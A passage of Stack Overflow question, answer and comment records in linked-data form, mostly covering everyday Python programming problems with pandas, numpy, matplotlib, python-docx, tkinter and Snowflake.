threading.Thread(target=body) thread.start(); thread.join() start = tkinter.Button(window, text="Start", command=start_threads) start.pack() I do not know how to fix the RuntimeError, so any help with that would be appreciated.
tagged with: runtime-error
type: AnsweredQuestion
score: 0
possible better answer: http://stackoverflow.com/a/49594008
type: Question
has answer: http://stackoverflow.com/a/49583060
tagged with: python-3.x

http://stackoverflow.com/a/49483700
has comment: http://stackoverflow.com/comment/85970298
answers question: http://stackoverflow.com/q/49483669
has body: Here you go. It only happens to get the day ordering correct, but you might want to convert them to actually 0-6 for days of the week if you have more days later. df.groupby(by=['day','month'], as_index=False).count().sort_values(by=['month', 'day']) day month count 0 m 01 2 2 t 01 1 4 w 01 1 1 m 02 1 3 t 02 1 5 w 02 1
upvote count: 2
downvote count: 0
type: Answer
score: 2
accepted answer of: http://stackoverflow.com/q/49483669
type: AcceptedAnswer

http://stackoverflow.com/q/49445859
type: Question
score: 5
possible better answer: http://stackoverflow.com/a/62320493
has answer: http://stackoverflow.com/a/59106071
has body: I'm trying to insert a picture into a Word document using python-docx but running into errors. The code is simply: document.add_picture("test.jpg", width = Cm(2.0)) From looking at the python-docx documentation I can see that the following XML should be generated: &lt;pic:pic xmlns:pic="http://schemas.openxmlformats.org/drawingml/2006/picture"&gt; &lt;pic:nvPicPr&gt; &lt;pic:cNvPr id="1" name="python-powered.png"/&gt; &lt;pic:cNvPicPr/&gt; &lt;/pic:nvPicPr&gt; &lt;pic:blipFill&gt; &lt;a:blip r:embed="rId7"/&gt; &lt;a:stretch&gt; &lt;a:fillRect/&gt; &lt;/a:stretch&gt; &lt;/pic:blipFill&gt; &lt;pic:spPr&gt; &lt;a:xfrm&gt; &lt;a:off x="0" y="0"/&gt; &lt;a:ext cx="859536" cy="343814"/&gt; &lt;/a:xfrm&gt; &lt;a:prstGeom prst="rect"/&gt; &lt;/pic:spPr&gt; &lt;/pic:pic&gt; This does in fact get generated in my document.xml file. (When unzipping the docx file). However looking into the OOXML format I can see that the image should also be saved under the media folder and the relationship should be mapped in word/_rels/document.xml: &lt;Relationship Id="rId20" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="media/image20.png"/&gt; None of this is happens however, and when I open the Word document I'm met with a "The picture can't be displayed" placeholder. Can anyone help me understand what is going on? It looks like the image is not embedded the way it should be and I need to insert it in the media folder and add the mapping for it, however as a well documented feature this should be working as expected. UPDATE: Testing it out with an empty docx file that image does get added as expected which leads me to believe it might have something to do with the python-docx-template library. (https://github.com/elapouya/python-docx-template) It uses python-docx and jinja to allow templating capabilities but runs and works the same way python-docx should. I added the image to a subdoc which then gets inserted into a full document at a given place…
has answer: http://stackoverflow.com/a/62320493
downvote count: 0
tagged with: python
tagged with: python-docx
accepted answer: http://stackoverflow.com/a/49480640
has comment: http://stackoverflow.com/comment/85894263
has answer: http://stackoverflow.com/a/49480640
has comment: http://stackoverflow.com/comment/85894158
type: AnsweredQuestion
answer count: 3
has title: python-docx does not add picture
upvote count: 5
favorite count: 0

http://stackoverflow.com/a/49564622
answers question: http://stackoverflow.com/q/49558464
downvote count: 0
type: Answer
has body: I do not think it is mathematically possible to have a percentage shrink in x, a percentage shrink in y and never have the layout move outside the original layout. That is however just a hunch. This code shifts all the lines a certain amount closer to the center and then finds the new intersection points of all the lines: import matplotlib.pyplot as plt def det(a, b): return a[0] * b[1] - a[1] * b[0] def line_intersection(line1, line2): xdiff = (line1[0][0] - line1[1][0], line2[0][0] - line2[1][0]) ydiff = (line1[0][1] - line1[1][1], line2[0][1] - line2[1][1]) #Typo was here div = det(xdiff, ydiff) if div == 0: raise Exception('lines do not intersect') d = (det(*line1), det(*line2)) x = det(d, xdiff) / div y = det(d, ydiff) / div return x, y # how much the coordinates are moved as an absolute value shrink_value_x = 3 shrink_value_y = 1.5 # coords must be clockwise coords = [(0, 0), (0, 100), (20, 100), (30, 60), (40, 100), (60, 100), (60, 0), (40, 10), (40, 40), (20, 40), (20, 10)] lines = [[coords[i-1], coords[i]] for i in range(len(coords))] new_lines = [] for i in lines: dx = i[1][0] - i[0][0] dy = i[1][1] - i[0][1] # this is to take into account slopes factor = 1 / (dx*dx + dy*dy)**0.5 new_dx = dy*shrink_value_x * factor new_dy = dx*shrink_value_y * factor new_lines.append([(i[0][0] + new_dx, i[0][1] - new_dy), (i[1][0] + new_dx, i[1][1] - new_dy)]) # find position of intersection of all the lines new_coords = [] for i in range(len(new_lines)): new_coords.append((line_intersection(new_lines[i-1], new_lines[i]))) I got the line intersection code from this answer @Paul Draper. This outputs
has comment: http://stackoverflow.com/comment/86169470
score: 1
upvote count: 1

http://stackoverflow.com/q/49545003
type: Question
has comment: http://stackoverflow.com/comment/86098073
has answer: http://stackoverflow.com/a/60298850
has comment: http://stackoverflow.com/comment/86100644
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/18717877
tagged with: python
has comment: http://stackoverflow.com/comment/86097787
has comment: http://stackoverflow.com/comment/86098923
has comment: http://stackoverflow.com/comment/86100181
has comment: http://stackoverflow.com/comment/86098329
has body: I was looking at matplotlib python inline on/off and this kind of solves the problem but when I do plt.ion() all of the Figures pop up (100s of figures). I want to keep them suppressed in a single cell. Is there a with loop I can use to turn off %matplotlib inline or is this impossible?
has comment: http://stackoverflow.com/comment/91183053
tagged with: inline
downvote count: 0
tagged with: matplotlib
has title: How to suppress matplotlib inline for a single cell in Jupyter Notebooks/Lab?
answer count: 1
tagged with: jupyter
linked to: http://stackoverflow.com/q/52115896
linked to: http://stackoverflow.com/q/30878666
favorite count: 0
tagged with: jupyter-notebook
score: 8
upvote count: 8

http://stackoverflow.com/a/49578546
score: 0
answers question: http://stackoverflow.com/q/49578442
type: Answer
has body: This line appears to create an index mask, that is an array that can be used to extract a part of an array or matrix where a particular condition holds. The condition used is: ((matriz &gt;= n*angulo) &amp; (matriz &lt; (n+1)*angulo)) which uses bitwise operator &amp;. This operator returns 1 if both operands evaluate to 1 and 0 otherwise. This means your index map will have a 1 value in locations where values of matriz are between n * angulo and (n+1) * angulo. Accessing matriz with this index map would give you an array containing exactly those values. Subequently, it is used to extract a part of image img. Each subsequent extracted part is colored in all black or all white (pixel values of 0 and 255 respectively).

svd
type: Tag
tags question: http://stackoverflow.com/q/49453600
tag name: svd

http://stackoverflow.com/q/49546789
answer count: 1
tagged with: arrays
has title: how to save individual columns from an input text file to individual output text files in python
accepted answer: http://stackoverflow.com/a/49546988
type: Question
has answer: http://stackoverflow.com/a/49546988
tagged with: nested-loops
tagged with: python
tagged with: text-files
type: AnsweredQuestion
score: 0
tagged with: for-loop
has body: I've just started using python (anaconda3) and I can't figure out the problem below which should be really simple... I have searched all over the internet for a solution but I can't find it. Goal: I want my script to write individual columns (indexed via --column) from an input text file into respective output text files. The user can select any number of columns (with matching number of output files). Example: python septc.py --infile infile.txt --column 0 2 3 --outfile out1.txt out2.txt out3.txt My questions: How can I save individual col of the input file as defined by the --column vector in the respective output files? The index number of col given by the user will probably be off by 1 as users start counting col at 1 while python starts at 0 so choosing the last col would be out of bounds...though I could say in the help file of the script that counting starts with 0. The script below is supposed to print the 1st, 3rd, and 4t col of the infile, which it does, but it writes all three col into each output file instead of 1st col into out1.txt, 3rd col into out2.txt, and 4th col into out3.txt. This is bc the inner loop is carried out for every instance of the outer loop. Similarly, changing the loop order writes the 4th col in each output file, which isn't what I want. I've tried other ways (e.g., for c in np.nditer(col)) but to no avail. I suspect that this for loop approach isn't appropriate here. It should be something like for c in col write c into associated text file...but how to link a col with its output file?! I'd be really grateful for your help! Thank you much in advance, Nic cols = [0,2,3] data = np.arange(20).reshape(5,4) np.savetxt('infile.txt', data, delimiter=' ', fmt='%1.0f') f = np.loadtxt('infile.txt') array([[ 0., 1., 2., 3.], [ 4., 5., 6., 7.], [ 8., 9., 10., 11.], [ 12., 13., 14., 15.], [ 16., 17., 18., 19.]]) ######### Script (shorter version) ######### #!/usr/bin/env python import numpy as np import sys import argparse # Parse cmd line argu…

http://stackoverflow.com/a/49499200
answers question: http://stackoverflow.com/q/49498793
score: 0
has body: One way is to use properties with according setters to make sure you update your internal data: Something like this: from math import pi class Circle: def __init__(self, radius=1): self._radius = radius self._diameter = radius * 2 @property def diameter(self): return self._diameter @diameter.setter def diameter(self, diameter): self._diameter = diameter self._radius = diameter / 2 @property def radius(self): return self._radius @radius.setter def radius(self, radius): self._radius = radius self._diameter = radius * 2 def area(self): return self.radius ** 2 * pi if __name__ == "__main__": c = Circle(3) print("c.radius:", c.radius) print("c.area():", c.area()) c.radius = 4 # change radius print("c.radius:", c.radius) print("c.area():", c.area()) c.diameter = 10 # change diameter print("c.diameter:", c.diameter) print("c.radius:", c.radius)
type: Answer

http://stackoverflow.com/comment/86442394
score: 0
has text: Are you trying to influence a single logger, e.g. the root logger returned by `getLogger()`, or multiple loggers, e.g. the called code involves multiple modules and each one does `getLogger(__name__)`?
type: QuestionComment
comment on: http://stackoverflow.com/q/49510417
type: Comment

http://stackoverflow.com/comment/86132046
type: QuestionComment
score: 2
comment on: http://stackoverflow.com/q/49561999
has text: Show some code, otherwise I cannot help you
type: Comment

http://stackoverflow.com/a/49536744
type: Answer
answers question: http://stackoverflow.com/q/49525590
score: 0
has body: As for now, I don't think the PyCharm can highlight selection within a string. However, if you refactor you code by renaming a variable, you can do the replacement also in strings. Here is an example:

http://stackoverflow.com/comment/86015798
comment on: http://stackoverflow.com/q/49505582
type: QuestionComment
has text: I have tried the `self.listbox.destroy()` and `self.button.destroy()` but the window does not close, and my script stops running at that point
type: Comment
score: 0

http://stackoverflow.com/q/49532511
has answer: http://stackoverflow.com/a/49532832
has body: I have a start date and end date . I need to get all the dates in between these two dates. One more condition is it should return the dates based on split ways, ie it can be week basis, day basis, hour basis,Month basis I have checked the pandas date_range function but its returning only the ending of all the date series. time_range = pandas.date_range(start_date, end_date, freq='W') This is returning only the starting of each week(start date), not the ending week(end_date). Example : time_range = pandas.date_range('2018-01-01 00:00:00', '2018-03-23 00:00:00', freq='W') Result: ['2018-01-06 00:00:00Z', '2018-01-13 00:00:00Z', '2018-01-20 00:00:00Z', '2018-01-27 00:00:00Z', '2018-02-03 00:00:00Z', '2018-02-10 00:00:00Z', '2018-02-17 00:00:00Z', '2018-02-24 00: 00:00Z', '2018-03-03 00:00:00Z', '2018-03-10 00:00:00Z', '2018-03-17 00:00:00Z'] I need both start date and end of the week ie in this case '2018-01-01 00:00:00Z' - '2018-01-06 00:00:00Z' '2018-01-07 00:00:00Z' - '2018-01-13 00:00:00Z' '2018-01-14 00:00:00Z' - '2018-01-20 00:00:00Z' '2018-01-21 00:00:00Z' - '2018-01-27 00:00:00Z' '2018-02-28 00:00:00Z' - '2018-02-03 00:00:00Z' ---------- and so on
type: Question
tagged with: pandas
has title: How to get the dates between two dates
has answer: http://stackoverflow.com/a/49532596
upvote count: 3
score: 3
answer count: 5
has answer: http://stackoverflow.com/a/49532968
favorite count: 0
tagged with: python-3.x
has answer: http://stackoverflow.com/a/49533961
downvote count: 0
tagged with: python
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/49533165

http://stackoverflow.com/comment/122317137
type: AnswerComment
score: 8
comment on: http://stackoverflow.com/a/49556954
type: Comment
has text: @zipa I found your very helpful answer today with google. So improving your answer even 3 years later may (potentially) help future readers.

http://stackoverflow.com/comment/85965898
has text: can u explain how to install it? I must be doing something wrong.
comment on: http://stackoverflow.com/q/49481163
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/51800017
has body: Currently there is no Debian package available for PyADB. (Will be fixed soon…) [+] Debian Package: # #$ sudo dpkg -i python-pyadb_0.1.0-1_all.deb #Selecting previously unselected package python-pyadb. #(Leyendo la base de datos … 322039 ficheros o directorios instalados actualmente.) #Desempaquetando python-pyadb (de python-pyadb_0.1.0-1_all.deb) … #Configurando python-pyadb (0.1.0-1) … # [+] easy_install $ sudo easy_install pyadb Searching for pyadb … Processing dependencies for pyadb Finished processing dependencies for pyadb $ [+] setup.py $ python setup.py build running build running build_py creating build creating build/lib.linux-i686-2.7 creating build/lib.linux-i686-2.7/pyadb copying pyadb/adb.py -&gt; build/lib.linux-i686-2.7/pyadb copying pyadb/__init__.py -&gt; build/lib.linux-i686-2.7/pyadb $ sudo python setup.py install running install running build running build_py running install_lib running install_egg_info Removing /usr/local/lib/python2.7/dist-packages/pyadb-0.1.1.egg-info Writing /usr/local/lib/python2.7/dist-packages/pyadb-0.1.1.egg-info $ More instructions: http://wiki.python.org/moin/CheeseShopTutorial Usage: $ python Python 2.7.3 (default, Jun 15 2012, 18:14:05) [GCC 4.7.0] on linux2 Type “help”, “copyright”, “credits” or “license” for more information. &gt;&gt;&gt; from pyadb import ADB &gt;&gt;&gt; adb = ADB(‘~/android/platform-tools/adb’) &gt;&gt;&gt; print adb.pyadb_version() 0.1.1 &gt;&gt;&gt; quit() $ You can view a “complete” example in “examples/whatsapp.py”
score: 0
type: Answer
answers question: http://stackoverflow.com/q/49466965

http://stackoverflow.com/a/49526210
has comment: http://stackoverflow.com/comment/86062489
upvote count: 4
accepted answer of: http://stackoverflow.com/q/49525426
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/86246343
type: Answer
score: 4
answers question: http://stackoverflow.com/q/49525426
has comment: http://stackoverflow.com/comment/86245987
has body: Since this symlink is clearly related to python3 I would recommend that you create it using a bbappend for that recipe. The recipe name is python3_(version).bb, so to catch all versions name the bbappend python3_%.bbappend. This should work: # Create symlink at the end of do_install do_install_append() { ln -sf /usr/lib/python3.5/pdb.py ${D}/usr/bin/pdb } # Include the symlink in the python3-debugger package FILES_${PN}-debugger += "/usr/bin/pdb" You can also create symlink as the stage where the whole rootfs is created, but in this case I would not recommend it. But if you have something so need to do when the whole rootfs is populated look into using ROOTFS_POSTPROCESS_COMMAND. E.g. put this in you image recipe: my_image_postprocess_function() { ln -sf /usr/lib/python3.5/pdb.py ${IMAGE_ROOTFS}/usr/bin/pdb } ROOTFS_POSTPROCESS_COMMAND += "my_image_postprocess_function; "

http://stackoverflow.com/q/49545589
downvote count: 0
score: 1
upvote count: 1
has body: How do you check to see if a line contains a certain character at any point in the line of a text file? I currently have: charCounter=0 with open('file', 'r') as f: for line in f: if 'a' in line: charCounter=charCounter+1 However the only time the counter increments is when the character is the first character in the line. I need to check for the character if it appears in the line at any point.
favorite count: 0
tagged with: character
type: Question
answer count: 1
tagged with: counter
has title: How to check if a line in a text file contains a certain character
tagged with: python
has answer: http://stackoverflow.com/a/49545713
accepted answer: http://stackoverflow.com/a/49545713
tagged with: text
has comment: http://stackoverflow.com/comment/86098680
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/86098697

http://stackoverflow.com/q/49578938
tagged with: python-3.x
has body: I am using Snowflake Database-as-a-service to store and process our data. Due to handling huge amounts of data, I want to run a query, get the query ID and let it the query execute asynchronously. Another part of the system will monitor the status of the query by checking the query history table using that query ID. I am using the Snowflake Python Connector. Here is a sample of what I have so far: from __future__ import print_function import io, os, sys, time, datetime modules_path = os.path.join(os.path.dirname(__file__), 'modules') sys.path.append(modules_path) import snowflake.connector def async_query(data): connection = snowflake.connector.connect( user=data['user'], password=data['password'], account=data['account'], region=data['region'], database=data['database'], warehouse=data['warehouse'], schema=data['schema'] ) cursor = connection.cursor() cursor.execute(data['query'], _no_results=True) print(cursor.sfqid) return cursor.sfqid This piece of code seems to be working, i.e I am getting the query ID, but there is one problem - the SQL query fails with error "SQL execution canceled." in Snowflake. If I remove the _no_results=True parameter, the query works well, but then I have to wait it to complete, which is not the desired behaviour. Any ideas what is causing the "SQL execution canceled" failure? A little bit of more info: The reason why I don't want to wait for it, is that I am running the code on AWS Lambda and Lambdas have a maximum running time of 5 minutes.
has title: Asynchronous query execution in Snowflake: SQL execution canceled
type: UnansweredQuestion
tagged with: snowflake-cloud-data-platform
tagged with: python
upvote count: 6
has answer: http://stackoverflow.com/a/49603801
answer count: 1
downvote count: 0
score: 6
tagged with: aws-lambda
favorite count: 0
type: Question

http://stackoverflow.com/a/52907528
type: Answer
answers question: http://stackoverflow.com/q/49564016
has body: This line of code solves the problem for me driver=webdriver.Firefox(executable_path="c:/drivers/geckodriver.exe")
score: 0

http://stackoverflow.com/q/49574716
upvote count: 1
favorite count: 0
type: Question
tagged with: python-3.x
score: -2
tagged with: arrays
tagged with: python
accepted answer: http://stackoverflow.com/a/49574837
answer count: 4
tagged with: append
has answer: http://stackoverflow.com/a/49575009
linked to: http://stackoverflow.com/q/952914
has answer: http://stackoverflow.com/a/49574837
possible better answer: http://stackoverflow.com/a/49574749
type: AnsweredQuestion
tagged with: list
has answer: http://stackoverflow.com/a/49574749
has title: Remove row brackets after appending lists
has answer: http://stackoverflow.com/a/49574922
downvote count: 3
duplicate of: http://stackoverflow.com/q/952914
has body: l have a list as follow: My_list=[[1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1], [2, 5, 8, 11, 6, 4, 8, 1, 2, 7, 1]] such that : a=[1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1] and b=[2, 5, 8, 11, 6, 4, 8, 1, 2, 7, 1] Then l append them as follow My_list.append(a) My_list.append(b) l would like to transform it to : My_list=[1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,2, 5, 8, 11, 6, 4, 8, 1, 2, 7, 1] How can l remove a and b brackets ?

http://stackoverflow.com/a/57704304
answers question: http://stackoverflow.com/q/49567494
has body: I think it happen when I moved the environment folder to a different location. I solved it by reinstalling virtualenv and creating a new environment
type: Answer
upvote count: 3
score: 3
downvote count: 0

http://stackoverflow.com/a/49471328
type: Answer
answers question: http://stackoverflow.com/q/49471081
has body: Here is my attempt at a pythonic answer using just csv library... import csv with open ('names.csv') as csvfile: reader = csv.DictReader(csvfile) print sum(float(d['high']) for d in reader) / (reader.line_num - 1) Will have a divide by 0 if there are no lines in the file.
score: 0

http://stackoverflow.com/q/49492421
has comment: http://stackoverflow.com/comment/85988294
has answer: http://stackoverflow.com/a/49492521
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/85988501
score: 0
has comment: http://stackoverflow.com/comment/85988588
has body: I am setting an existing array to zeros using the numpy.zeros_like function as follows: import numpy as np x = np.random.rand(3, 3, 3, 3, 3) # Some random data x = np.zeros_like(x.shape) I think the way I am doing it involves creating a new array of zeros and updating the reference to it. I was wondering if there is an efficient way to set everything to zeros without this initialization. The reason I need it is because it is called in an optimisation routine which gets called quite a few times.
has comment: http://stackoverflow.com/comment/85994951
has title: set numpy array to 0 without copy
answer count: 1
type: Question
tagged with: numpy
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/85988325

http://stackoverflow.com/a/49498147
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/49497992
score: 0
accepted answer of: http://stackoverflow.com/q/49497992
type: Answer
has body: X is a numpy array, type(X) == numpy.ndarray. The error tells you that numpy arrays do not have a show method; which is expected, since it wouldn't be clear how to show them anyways. For visualization you use matplotlib.pyplot. If pyplot is imported like import matplotlib.pyplot as plt you can show all plots created with pyplot via plt.show() Inside interactive sessions you may also show a figure. In this case, fig2.show()

http://stackoverflow.com/a/49515702
has comment: http://stackoverflow.com/comment/86036836
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/86037143
downvote count: 0
accepted answer of: http://stackoverflow.com/q/49515584
has comment: http://stackoverflow.com/comment/86037344
has comment: http://stackoverflow.com/comment/86037132
has comment: http://stackoverflow.com/comment/86037183
has comment: http://stackoverflow.com/comment/86037449
has comment: http://stackoverflow.com/comment/86036706
type: Answer
score: 4
upvote count: 4
has comment: http://stackoverflow.com/comment/86036752
has body: You can use itertools.cycle: from itertools import cycle my_list = ['a', 'b', 'c'] for element in cycle(my_list): print(element) # output: a b c a b c a b c ...
has comment: http://stackoverflow.com/comment/86037442
answers question: http://stackoverflow.com/q/49515584

http://stackoverflow.com/a/49584008
answers question: http://stackoverflow.com/q/49583941
has body: If you want to match any text that contains any Chinese character in it, you can use search(..) method on the compiled regex object. import re words = ["我很nice", "我n很i你c好e", "你好", "hello", "好", "abcd", "ㄱㄴ"] regexp = re.compile(r'[\u4e00-\u9fff]') for word in words: if regexp.search(word): print(word) # prints: # 我很nice # 我n很i你c好e # 你好 # 好
score: 0
type: Answer

http://stackoverflow.com/comment/86073432
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49533256
has text: In django the urls provided in urls.py file are way by which we can interact with the functionality by in my case i don't want to expose the urls, i just want to expose the functions, @WhoKnows has given some direction, thanks

http://stackoverflow.com/q/49570364
type: Question
tagged with: numpy
has comment: http://stackoverflow.com/comment/86149643
has comment: http://stackoverflow.com/comment/86152711
has comment: http://stackoverflow.com/comment/86150125
upvote count: 2
has comment: http://stackoverflow.com/comment/86150604
has body: I have a (huge) 2D array. For example: a=[[1,2],[2,3],[4,5]] I need to extract from it the elements that satisfy certain conditions a[:,0]&gt;1 and a[:,1]&gt;2 such that I get in return an array with only elements that satisfy both the conditions [[2,3],[4,5]] (I need to further use that in a loop, which might or might not be relevant to the question) I have tried the following: np.transpose([np.extract(a[:,0]&gt;1,a[:,0]),np.extract(a[:,1]&gt;2,a[:,1])]) The above works only when the both the extracted array are of same length. Even when it works, it sometimes returns pairs that weren't paired together to begin with (I understand why) I know how to do it in lists list(filter(lambda b: b[0]&gt;1 and b[1]&gt;2,a)) However, I want to improve the efficiency. So I am shifting towards numpy (since I've read it is generally more efficient?) Is there any way to do the above in numpy that is significantly faster than lists? (I would be executing that piece of code 1000s times using array with 100s of elements.) Update: Following Maarten_vd_Sande's answer: The following code was used to check the time taken: import numpy as np import time b=np.random.rand(10000000,2) a=b.tolist() strt=time.time() c=b[np.logical_and(b[:,0]&gt;0.5,b[:,1]&gt;0.5)] for (i,j) in c: continue print("Numpy= ",time.time()-strt) strt=time.time() for (i,j) in list(filter(lambda m: m[0]&gt;0.5 and m[1]&gt;0.5,a)): continue print("List= ",time.time()-strt) Output: Numpy= 2.973170042037964 List= 1.91910982131958
has comment: http://stackoverflow.com/comment/86151926
accepted answer: http://stackoverflow.com/a/49570459
tagged with: python
has comment: http://stackoverflow.com/comment/86149842
score: 2
type: AnsweredQuestion
has title: Return elements from 2D numpy array that satisfy certain conditions
has comment: http://stackoverflow.com/comment/86153286
answer count: 1
downvote count: 0
has answer: http://stackoverflow.com/a/49570459
has comment: http://stackoverflow.com/comment/86149404
favorite count: 0

http://stackoverflow.com/comment/86142515
type: Comment
comment on: http://stackoverflow.com/a/49566604
type: AnswerComment
has text: @ankit I've updated the answer, hopefully it works better now.
score: 1

http://stackoverflow.com/comment/86035654
comment on: http://stackoverflow.com/q/49515322
type: Comment
type: QuestionComment
score: 0
has text: Do you want to (A) transfer the _value_ of `price` from `equation` to `main`, or (B) simply make the `price` _variable_ accessible to both `equation` and `main`?

http://stackoverflow.com/comment/86158371
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49489528
has text: Good one. Something like a Smart Wysiwyg?

http://stackoverflow.com/comment/85948022
type: Comment
comment on: http://stackoverflow.com/a/49472696
type: AnswerComment
has text: It gives me index out of range.
score: 0

http://stackoverflow.com/q/49554650
possible better answer: http://stackoverflow.com/a/72457004
has comment: http://stackoverflow.com/comment/86129129
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/86126355
score: 3
has comment: http://stackoverflow.com/comment/86359758
has comment: http://stackoverflow.com/comment/86359224
tagged with: python
tagged with: image-processing
has title: noise in image segmentation result
has body: I am doing a image segmentation task based on deep convolutional neural network. The network structure is from this paper, and the structure can be seen in the picture:FCN used in image segmentation. The network is designed based on Fully Convolutional Network and DCAN. The data set is the public benchmark dataset of Gland Segmentation Chalenge Contest in MICCAI 2015(also named as Warwick-QU dataset.) I use this network to do the segmentation task. However in my result, I always noticed a fixed pattern of noise: the little white crossing in the predicted image:Prediction results with crossing shape noise Can someone please explain what does these noise pixels mean? Are they the common noises in image processing? It is worth noting that this phenomena does not appear only in a specific image, but for the whole prediction.
favorite count: 0
type: Question
upvote count: 4
tagged with: image-segmentation
answer count: 2
has answer: http://stackoverflow.com/a/72457004
tagged with: deep-learning
has comment: http://stackoverflow.com/comment/86435903
has comment: http://stackoverflow.com/comment/86449087
accepted answer: http://stackoverflow.com/a/49674693
tagged with: computer-vision
downvote count: 1
has answer: http://stackoverflow.com/a/49674693

http://stackoverflow.com/a/49446903
answers question: http://stackoverflow.com/q/49446784
downvote count: 0
has body: A better way is use 'lsof' to list all opened files in system https://www.ibm.com/developerworks/aix/library/au-lsof.html https://www.thegeekstuff.com/2012/08/lsof-command-examples https://alvinalexander.com/blog/post/linux-unix/linux-lsof-command
score: 1
type: Answer
upvote count: 1

http://stackoverflow.com/a/49492881
has comment: http://stackoverflow.com/comment/85989621
type: Answer
has body: Your googler command works in interactive mode. It never exits, so your program is stuck. You want googler to run the search, print the output and then exit. From the docs, I think --np (or --noprompt) is the right parameter for that. I didn't test. result = subprocess.run(["googler", "-N", "-t", "d1", "--np", test], stdout=subprocess.PIPE, universal_newlines=True)
accepted answer of: http://stackoverflow.com/q/49492738
score: 2
upvote count: 2
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/85989489
answers question: http://stackoverflow.com/q/49492738

http://stackoverflow.com/q/49514535
tagged with: prediction
has body: I need to call the R function predict(fit_hs, type="quantile", se.fit=True, p=0.5) where predict refers to survreg in library survival. It gives an error about the se.fit parameter saying it's a keyword that can't be used. Could you please help finding a way to call this R function from Python?
type: UnansweredQuestion
answer count: 1
downvote count: 0
upvote count: 1
favorite count: 0
type: Question
tagged with: http://stackoverflow.com/tag/r
has answer: http://stackoverflow.com/a/67007173
score: 1
has title: Calling R function with se.fit parameter with rpy2 from Python
tagged with: rpy2
tagged with: python

http://stackoverflow.com/a/49491590
answers question: http://stackoverflow.com/q/49491498
score: 0
type: AcceptedAnswer
has body: Making use of broadcasting: import tensorflow as tf N = ... v = tf.get_variable('v', [N]) p = tf.placeholder(shape=[None]) ret = p[:, tf.newaxis] - v[tf.newaxis, :]
accepted answer of: http://stackoverflow.com/q/49491498
type: Answer

http://stackoverflow.com/q/49599469
type: Question
has comment: http://stackoverflow.com/comment/86206893
has body: i am working with inheritence,here i got output for single inheritence but multiple inheritence showing error.so please help me.I don't have any knowledge about mro in python.please give me good advice. class Player: def __init__(self,name,country): self.name=name self.country=country def info(self): return self.name+":"+self.country class Ipl(Player): def __init__(self,name,country,team): Player.__init__(self,name,country) self.team=team def info_ipl(self): return self.info()+"\nIpl team:"+self.team x=Ipl("Suresh Raina","India","csk") print(x.info_ipl()) class Carrier: def ___init__(self,wicket,run): self.wicket=wicket self.run=run def disp(self): return "Wickets:"+self.wicket+"Runs:"+self.run class Aauction(Ipl, Carrier): def __init__(self,wicket,run,name,country,team): Ipl.__init__(self,name,country,team) Carrier.__init__(self,wicket,run) self.Innings=Innings def stati(self): return self.info_ipl()+","+self.disp()+"Total Innings:" x = Aauction(150,2000,"Suresh_Raina","India","kkr") print(x.stati()) Above code giving following Error:- Suresh Raina:India Ipl team:csk Traceback (most recent call last): File "C:\Users\Rahul\Desktop\PYTHON\EXP8.py", line 49, in &lt;module&gt; x = Aauction(150,2000,"Suresh_Raina","India","kkr") File "C:\Users\Rahul\Desktop\PYTHON\EXP8.py", line 40, in __init__ Carrier.__init__(self,wicket,run) TypeError: object.__init__() takes no parameters Thank you.
has comment: http://stackoverflow.com/comment/86206112
has answer: http://stackoverflow.com/a/49599526
has comment: http://stackoverflow.com/comment/86206114
type: AnsweredQuestion
score: 0
has title: Multiple inheritance in python "object.__init__() takes no parameter
has comment: http://stackoverflow.com/comment/86206612
answer count: 1
accepted answer: http://stackoverflow.com/a/49599526
has comment: http://stackoverflow.com/comment/86206603
tagged with: python
tagged with: multiple-inheritance

http://stackoverflow.com/comment/85956492
comment on: http://stackoverflow.com/a/49474322
type: Comment
has text: @VikashSingh 1) *practically* speaking, in ML contexts "log loss" & "[categorical] cross-entropy [loss]" refer to the same thing, which is the sum of `-y*log(y_hat)` for all samples; scikit-learn, for example, uses the first term, while Keras uses the second.
type: AnswerComment
score: 2

http://stackoverflow.com/q/49507890
type: Question
tagged with: database
tagged with: python
accepted answer: http://stackoverflow.com/a/49508323
tagged with: sqlalchemy
has answer: http://stackoverflow.com/a/49508323
type: AnsweredQuestion
score: 0
has body: session = scoped_session(sessionmaker()) q = session.query(table_name).filter(table_name.id==1) the above code is how I use scope_session() and it works, but I checked the source of sqlalchemy, I found that class scoped_session doesn't have a query() function, but only a query_property(), how does it work?
has title: scope_session doesn't have query() function?
answer count: 1

http://stackoverflow.com/q/49537225
type: Question
answer count: 2
tagged with: pixel
upvote count: 3
tagged with: color-space
downvote count: 0
has comment: http://stackoverflow.com/comment/86082572
accepted answer: http://stackoverflow.com/a/49537500
favorite count: 0
has title: Masking an Image by Manipulating Pixels through Conditions
has answer: http://stackoverflow.com/a/49537500
tagged with: opencv
type: AnsweredQuestion
score: 3
possible better answer: http://stackoverflow.com/a/49537472
has comment: http://stackoverflow.com/comment/86082624
